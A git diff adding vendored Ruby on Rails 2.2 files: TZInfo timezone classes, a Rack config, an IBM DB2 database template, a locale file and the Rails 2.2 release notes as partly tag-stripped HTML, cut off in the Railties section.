a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb new file mode 100644 index 00000000..68e38c35 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_info.rb @@ -0,0 +1,40 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +module TZInfo + # Represents a timezone defined in a data module. + class TimezoneInfo #:nodoc: + + # The timezone identifier. + attr_reader :identifier + + # Constructs a new TimezoneInfo with an identifier. + def initialize(identifier) + @identifier = identifier + end + + # Returns internal object state as a programmer-readable string. + def inspect + "#<#{self.class}: #@identifier>" + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb new file mode 100644 index 00000000..6a0bbca4 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_offset_info.rb @@ -0,0 +1,94 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +module TZInfo + # Represents an offset defined in a Timezone data file. + class TimezoneOffsetInfo #:nodoc: + # The base offset of the timezone from UTC in seconds. + attr_reader :utc_offset + + # The offset from standard time for the zone in seconds (i.e. non-zero if + # daylight savings is being observed). + attr_reader :std_offset + + # The total offset of this observance from UTC in seconds + # (utc_offset + std_offset). + attr_reader :utc_total_offset + + # The abbreviation that identifies this observance, e.g. "GMT" + # (Greenwich Mean Time) or "BST" (British Summer Time) for "Europe/London". The returned identifier is a + # symbol. + attr_reader :abbreviation + + # Constructs a new TimezoneOffsetInfo. utc_offset and std_offset are + # specified in seconds. + def initialize(utc_offset, std_offset, abbreviation) + @utc_offset = utc_offset + @std_offset = std_offset + @abbreviation = abbreviation + + @utc_total_offset = @utc_offset + @std_offset + end + + # True if std_offset is non-zero. + def dst? + @std_offset != 0 + end + + # Converts a UTC DateTime to local time based on the offset of this period. + def to_local(utc) + TimeOrDateTime.wrap(utc) {|wrapped| + wrapped + @utc_total_offset + } + end + + # Converts a local DateTime to UTC based on the offset of this period. + def to_utc(local) + TimeOrDateTime.wrap(local) {|wrapped| + wrapped - @utc_total_offset + } + end + + # Returns true if and only if toi has the same utc_offset, std_offset + # and abbreviation as this TimezoneOffsetInfo. + def ==(toi) + toi.respond_to?(:utc_offset) && toi.respond_to?(:std_offset) && toi.respond_to?(:abbreviation) && + utc_offset == toi.utc_offset && std_offset == toi.std_offset && abbreviation == toi.abbreviation + end + + # Returns true if and only if toi has the same utc_offset, std_offset + # and abbreviation as this TimezoneOffsetInfo. + def eql?(toi) + self == toi + end + + # Returns a hash of this TimezoneOffsetInfo. + def hash + utc_offset.hash ^ std_offset.hash ^ abbreviation.hash + end + + # Returns internal object state as a programmer-readable string. + def inspect + "#<#{self.class}: #@utc_offset,#@std_offset,#@abbreviation>" + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb new file mode 100644 index 00000000..00888fcf --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_period.rb @@ -0,0 +1,198 @@ +#-- +# Copyright (c) 2005-2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'tzinfo/offset_rationals' +require 'tzinfo/time_or_datetime' + +module TZInfo + # A period of time in a timezone where the same offset from UTC applies. + # + # All the methods that take times accept instances of Time, DateTime or + # integer timestamps. + class TimezonePeriod + # The TimezoneTransitionInfo that defines the start of this TimezonePeriod + # (may be nil if unbounded). + attr_reader :start_transition + + # The TimezoneTransitionInfo that defines the end of this TimezonePeriod + # (may be nil if unbounded). + attr_reader :end_transition + + # The TimezoneOffsetInfo for this period. + attr_reader :offset + + # Initializes a new TimezonePeriod. + def initialize(start_transition, end_transition, offset = nil) + @start_transition = start_transition + @end_transition = end_transition + + if offset + raise ArgumentError, 'Offset specified with transitions' if @start_transition || @end_transition + @offset = offset + else + if @start_transition + @offset = @start_transition.offset + elsif @end_transition + @offset = @end_transition.previous_offset + else + raise ArgumentError, 'No offset specified and no transitions to determine it from' + end + end + + @utc_total_offset_rational = nil + end + + # Base offset of the timezone from UTC (seconds). + def utc_offset + @offset.utc_offset + end + + # Offset from the local time where daylight savings is in effect (seconds). + # E.g.: utc_offset could be -5 hours. Normally, std_offset would be 0. + # During daylight savings, std_offset would typically become +1 hours. + def std_offset + @offset.std_offset + end + + # The identifier of this period, e.g. "GMT" (Greenwich Mean Time) or "BST" + # (British Summer Time) for "Europe/London". The returned identifier is a + # symbol. + def abbreviation + @offset.abbreviation + end + alias :zone_identifier :abbreviation + + # Total offset from UTC (seconds). Equal to utc_offset + std_offset. + def utc_total_offset + @offset.utc_total_offset + end + + # Total offset from UTC (days). Result is a Rational. + def utc_total_offset_rational + unless @utc_total_offset_rational + @utc_total_offset_rational = OffsetRationals.rational_for_offset(utc_total_offset) + end + @utc_total_offset_rational + end + + # The start time of the period in UTC as a DateTime. May be nil if unbounded. + def utc_start + @start_transition ? @start_transition.at.to_datetime : nil + end + + # The end time of the period in UTC as a DateTime. May be nil if unbounded. + def utc_end + @end_transition ? @end_transition.at.to_datetime : nil + end + + # The start time of the period in local time as a DateTime. May be nil if + # unbounded. + def local_start + @start_transition ? @start_transition.local_start.to_datetime : nil + end + + # The end time of the period in local time as a DateTime. May be nil if + # unbounded. + def local_end + @end_transition ? @end_transition.local_end.to_datetime : nil + end + + # true if daylight savings is in effect for this period; otherwise false. + def dst? + @offset.dst? + end + + # true if this period is valid for the given UTC DateTime; otherwise false. + def valid_for_utc?(utc) + utc_after_start?(utc) && utc_before_end?(utc) + end + + # true if the given UTC DateTime is after the start of the period + # (inclusive); otherwise false. + def utc_after_start?(utc) + !@start_transition || @start_transition.at <= utc + end + + # true if the given UTC DateTime is before the end of the period + # (exclusive); otherwise false. + def utc_before_end?(utc) + !@end_transition || @end_transition.at > utc + end + + # true if this period is valid for the given local DateTime; otherwise false. + def valid_for_local?(local) + local_after_start?(local) && local_before_end?(local) + end + + # true if the given local DateTime is after the start of the period + # (inclusive); otherwise false. + def local_after_start?(local) + !@start_transition || @start_transition.local_start <= local + end + + # true if the given local DateTime is before the end of the period + # (exclusive); otherwise false. + def local_before_end?(local) + !@end_transition || @end_transition.local_end > local + end + + # Converts a UTC DateTime to local time based on the offset of this period. + def to_local(utc) + @offset.to_local(utc) + end + + # Converts a local DateTime to UTC based on the offset of this period. + def to_utc(local) + @offset.to_utc(local) + end + + # Returns true if this TimezonePeriod is equal to p. This compares the + # start_transition, end_transition and offset using ==. + def ==(p) + p.respond_to?(:start_transition) && p.respond_to?(:end_transition) && + p.respond_to?(:offset) && start_transition == p.start_transition && + end_transition == p.end_transition && offset == p.offset + end + + # Returns true if this TimezonePeriods is equal to p. This compares the + # start_transition, end_transition and offset using eql? + def eql?(p) + p.respond_to?(:start_transition) && p.respond_to?(:end_transition) && + p.respond_to?(:offset) && start_transition.eql?(p.start_transition) && + end_transition.eql?(p.end_transition) && offset.eql?(p.offset) + end + + # Returns a hash of this TimezonePeriod. + def hash + result = @start_transition.hash ^ @end_transition.hash + result ^= @offset.hash unless @start_transition || @end_transition + result + end + + # Returns internal object state as a programmer-readable string. + def inspect + result = "#<#{self.class}: #{@start_transition.inspect},#{@end_transition.inspect}" + result << ",#{@offset.inspect}>" unless @start_transition || @end_transition + result + '>' + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb new file mode 100644 index 00000000..6b0669cc --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_transition_info.rb @@ -0,0 +1,129 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'date' +require 'tzinfo/time_or_datetime' + +module TZInfo + # Represents an offset defined in a Timezone data file. + class TimezoneTransitionInfo #:nodoc: + # The offset this transition changes to (a TimezoneOffsetInfo instance). + attr_reader :offset + + # The offset this transition changes from (a TimezoneOffsetInfo instance). + attr_reader :previous_offset + + # The numerator of the DateTime if the transition time is defined as a + # DateTime, otherwise the transition time as a timestamp. + attr_reader :numerator_or_time + protected :numerator_or_time + + # Either the denominotor of the DateTime if the transition time is defined + # as a DateTime, otherwise nil. + attr_reader :denominator + protected :denominator + + # Creates a new TimezoneTransitionInfo with the given offset, + # previous_offset (both TimezoneOffsetInfo instances) and UTC time. + # if denominator is nil, numerator_or_time is treated as a number of + # seconds since the epoch. If denominator is specified numerator_or_time + # and denominator are used to create a DateTime as follows: + # + # DateTime.new!(Rational.send(:new!, numerator_or_time, denominator), 0, Date::ITALY) + # + # For performance reasons, the numerator and denominator must be specified + # in their lowest form. + def initialize(offset, previous_offset, numerator_or_time, denominator = nil) + @offset = offset + @previous_offset = previous_offset + @numerator_or_time = numerator_or_time + @denominator = denominator + + @at = nil + @local_end = nil + @local_start = nil + end + + # A TimeOrDateTime instance representing the UTC time when this transition + # occurs. + def at + unless @at + unless @denominator + @at = TimeOrDateTime.new(@numerator_or_time) + else + r = RubyCoreSupport.rational_new!(@numerator_or_time, @denominator) + dt = RubyCoreSupport.datetime_new!(r, 0, Date::ITALY) + @at = TimeOrDateTime.new(dt) + end + end + + @at + end + + # A TimeOrDateTime instance representing the local time when this transition + # causes the previous observance to end (calculated from at using + # previous_offset). + def local_end + @local_end = at.add_with_convert(@previous_offset.utc_total_offset) unless @local_end + @local_end + end + + # A TimeOrDateTime instance representing the local time when this transition + # causes the next observance to start (calculated from at using offset). + def local_start + @local_start = at.add_with_convert(@offset.utc_total_offset) unless @local_start + @local_start + end + + # Returns true if this TimezoneTransitionInfo is equal to the given + # TimezoneTransitionInfo. Two TimezoneTransitionInfo instances are + # considered to be equal by == if offset, previous_offset and at are all + # equal. + def ==(tti) + tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) && tti.respond_to?(:at) && + offset == tti.offset && previous_offset == tti.previous_offset && at == tti.at + end + + # Returns true if this TimezoneTransitionInfo is equal to the given + # TimezoneTransitionInfo. Two TimezoneTransitionInfo instances are + # considered to be equal by eql? if offset, previous_offset, + # numerator_or_time and denominator are all equal. This is stronger than ==, + # which just requires the at times to be equal regardless of how they were + # originally specified. + def eql?(tti) + tti.respond_to?(:offset) && tti.respond_to?(:previous_offset) && + tti.respond_to?(:numerator_or_time) && tti.respond_to?(:denominator) && + offset == tti.offset && previous_offset == tti.previous_offset && + numerator_or_time == tti.numerator_or_time && denominator == tti.denominator + end + + # Returns a hash of this TimezoneTransitionInfo instance. + def hash + @offset.hash ^ @previous_offset.hash ^ @numerator_or_time.hash ^ @denominator.hash + end + + # Returns internal object state as a programmer-readable string. + def inspect + "#<#{self.class}: #{at.inspect},#{@offset.inspect}>" + end + end +end diff --git a/vendor/rails/railties/config.ru b/vendor/rails/railties/config.ru new file mode 100644 index 00000000..43492a2d --- /dev/null +++ b/vendor/rails/railties/config.ru @@ -0,0 +1,17 @@ +# Rackup Configuration +# +# Start Rails mongrel server with rackup +# $ rackup -p 3000 config.ru +# +# Start server with webrick (or any compatible Rack server) instead +# $ rackup -p 3000 -s webrick config.ru + +# Require your environment file to bootstrap Rails +require File.dirname(__FILE__) + '/config/environment' + +# Static server middleware +# You can remove this extra check if you use an asset server +use Rails::Rack::Static + +# Dispatch the request +run ActionController::Dispatcher.new diff --git a/vendor/rails/railties/configs/databases/ibm_db.yml b/vendor/rails/railties/configs/databases/ibm_db.yml new file mode 100644 index 00000000..a9716ddb --- /dev/null +++ b/vendor/rails/railties/configs/databases/ibm_db.yml @@ -0,0 +1,62 @@ +# IBM Dataservers +# +# Home Page +# http://rubyforge.org/projects/rubyibm/ +# +# To install the ibm_db gem: +# On Linux: +# Source the db2profile file and set the necessary environment variables: +# +# . /home/db2inst1/sqllib/db2profile +# export IBM_DB_DIR=/opt/ibm/db2/V9.1 +# export IBM_DB_LIB=/opt/ibm/db2/V9.1/lib32 +# +# Then issue the command: gem install ibm_db +# +# On Windows: +# Issue the command: gem install ibm_db +# If prompted, select the mswin32 option +# +# For more details on the installation refer to http://rubyforge.org/docman/view.php/2361/7682/IBM_DB_GEM.pdf +# +# For more details on the connection parameters below refer to: +# http://rubyibm.rubyforge.org/docs/adapter/0.9.0/rdoc/classes/ActiveRecord/ConnectionAdapters/IBM_DBAdapter.html + +development: + adapter: ibm_db + username: db2inst1 + password: + database: <%= app_name[0,4] %>_dev + #schema: db2inst1 + #host: localhost + #port: 50000 + #account: my_account + #app_user: my_app_user + #application: my_application + #workstation: my_workstation + +test: + adapter: ibm_db + username: db2inst1 + password: + database: <%= app_name[0,4] %>_tst + #schema: db2inst1 + #host: localhost + #port: 50000 + #account: my_account + #app_user: my_app_user + #application: my_application + #workstation: my_workstation + +production: + adapter: ibm_db + username: db2inst1 + password: + database: <%= app_name[0,4] %>_prd + #schema: db2inst1 + #host: localhost + #port: 50000 + #account: my_account + #app_user: my_app_user + #application: my_application + #workstation: my_workstation \ No newline at end of file diff --git a/vendor/rails/railties/configs/locales/en.yml b/vendor/rails/railties/configs/locales/en.yml new file mode 100644 index 00000000..f265c068 --- /dev/null +++ b/vendor/rails/railties/configs/locales/en.yml @@ -0,0 +1,5 @@ +# Sample localization file for English. Add more files in this directory for other locales. +# See http://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points. + +en: + hello: "Hello world" \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/html/2_2_release_notes.html b/vendor/rails/railties/doc/guides/html/2_2_release_notes.html new file mode 100644 index 00000000..82c4a7cc --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/2_2_release_notes.html @@ -0,0 +1,1185 @@ + + + + + Ruby on Rails 2.2 Release Notes + + + + + + + + + +
+ + + +
+

Ruby on Rails 2.2 Release Notes

+
+
+

Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

+

Along with Rails, 2.2 marks the launch of the Ruby on Rails Guides, the first results of the ongoing Rails Guides hackfest. This site will deliver high-quality documentation of the major features of Rails.

+
+
+

1. Infrastructure

+
+

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

+

1.1. Internationalization

+

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

+
+

1.2. Compatibility with Ruby 1.9 and JRuby

+

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

+
+

2. Documentation

+
+

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

+ +

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

+

If you want to generate these guides locally, inside your application:

+
+
+
rake doc:guides
+
+

This will put the guides inside RAILS_ROOT/doc/guides and you may start surfing straight away by opening RAILS_ROOT/doc/guides/index.html in your favourite browser.

+
+
+

3. Better integration with HTTP : Out of the box ETag support

+
+

Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

+
+
+
class ArticlesController < ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+    # of rendering the template.
+    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a "304 Not Modified"
+    # instead of rendering the template.
+    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+  end
+end
+
+
+

4. Thread Safety

+
+

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

+

To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:

+
+
+
config.threadsafe!
+
+
+
+

5. Active Record

+
+

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

+

5.1. Transactional Migrations

+

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

+
+

5.2. Connection Pooling

+

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.

+
+
+
development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+
+
+

5.3. Hashes for Join Table Conditions

+

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

+
+
+
class Photo < ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+
+
+

5.4. New Dynamic Finders

+

Two new sets of methods have been added to Active Record's dynamic finders family.

+

5.4.1. find_last_by_<attribute>

+

The find_last_by_<attribute> method is equivalent to Model.last(:conditions ⇒ {:attribute ⇒ value})

+
+
+
# Get the last user who signed up from London
+User.find_last_by_city('London')
+
+
+

5.4.2. find_by_<attribute>!

+

The new bang! version of find_by_<attribute>! is equivalent to Model.first(:conditions ⇒ {:attribute ⇒ value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can't find a matching record, this method will raise an exception if it cannot find a match.

+
+
+
# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+
+
+

5.5. Associations Respect Private/Protected Scope

+

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you're overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.

+
+

5.6. Other ActiveRecord Changes

+
    +
  • +

    +rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo +

    +
  • +
  • +

    +Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp. +

    +
  • +
  • +

    +Counter cache columns (for associations declared with :counter_cache ⇒ true) do not need to be initialized to zero any longer. +

    +
  • +
  • +

    +ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names +

    +
  • +
+
+

6. Action Controller

+
+

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

+

6.1. Shallow Route Nesting

+

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

+
+
+
map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+
+

This will enable recognition of (among others) these routes:

+
+
+
/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+
+
+

6.2. Method Arrays for Member or Collection Routes

+

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

+
+
+
map.resources :photos, :collection => { :search => [:get, :post] }
+
+
+

6.3. Resources With Specific Actions

+

By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.

+
+
+
map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+
+
+

6.4. Other Action Controller Changes

+
    +
  • +

    +You can now easily show a custom error page for exceptions raised while routing a request. +

    +
  • +
  • +

    +The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.user_accept_header = true. +

    +
  • +
  • +

    +Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds +

    +
  • +
  • +

    +Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. +

    +
  • +
  • +

    +redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI). +

    +
  • +
  • +

    +render now supports a :js option to render plain vanilla javascript with the right mime type. +

    +
  • +
  • +

    +Request forgery protection has been tightened up to apply to HTML-formatted content requests only. +

    +
  • +
  • +

    +Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path. +

    +
  • +
+
+

7. Action View

+
+
    +
  • +

    +javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code. +

    +
  • +
  • +

    +The included Prototype javascript library has been upgraded to version 1.6.0.3. +

    +
  • +
  • +

    +RJS#page.reload to reload the browser's current location via javascript +

    +
  • +
  • +

    +The atom_feed helper now takes an :instruct option to let you insert XML processing instructions. +

    +
  • +
+
+

8. Action Mailer

+
+

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.

+
+

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

+
+

9. Active Support

+
+

Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.

+

9.1. Memoization

+

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

+
+
+
def full_name
+  @full_name ||= "#{first_name} #{last_name}"
+end
+
+

Memoization lets you handle this task in a declarative fashion:

+
+
+
extend ActiveSupport::Memoizable
+
+def full_name
+  "#{first_name} #{last_name}"
+end
+memoize :full_name
+
+

Other features of memoization include unmemoize, unmemoize_all, and memoize_all to turn memoization on or off.

+
+

9.2. each_with_object

+

The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

+
+
+
%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+
+

Lead Contributor: Adam Keys

+

9.3. Delegates With Prefixes

+

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

+
+
+
class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => true
+end
+
+

This will produce delegated methods vendor#account_email and vendor#account_password. You can also specify a custom prefix:

+
+
+
class Vendor < ActiveRecord::Base
+  has_one :account
+  delegate :email, :password, :to => :account, :prefix => :owner
+end
+
+

This will produce delegated methods vendor#owner_email and vendor#owner_password.

+

Lead Contributor: Daniel Schierbeck

+

9.4. Other Active Support Changes

+
    +
  • +

    +Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes. +

    +
  • +
  • +

    +The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax. +

    +
  • +
  • +

    +past?, today? and future? for Date and Time classes to facilitate date/time comparisons. +

    +
  • +
  • +

    +Array#second through Array#fifth as aliases for Array#[1] through Array#[4] +

    +
  • +
  • +

    +Enumerable#many? to encapsulate collection.size > 1 +

    +
  • +
  • +

    +Inflector#parameterize produces a URL-ready version of its input, for use in to_param. +

    +
  • +
  • +

    +Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on. +

    +
  • +
  • +

    +The included TzInfo library has been upgraded to version 0.3.12. +

    +
  • +
  • +

    +ActiveSuport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? ⇒ true +

    +
  • +
+
+

10. Railties

+
+

In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.

+

10.1. config.gems

+

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

+
    +
  • +

    +config.gem gem_name in your config/environment.rb file +

    +
  • +
  • +

    +rake gems to list all configured gems, as well as whether they (and their dependencies) are installed or frozen +

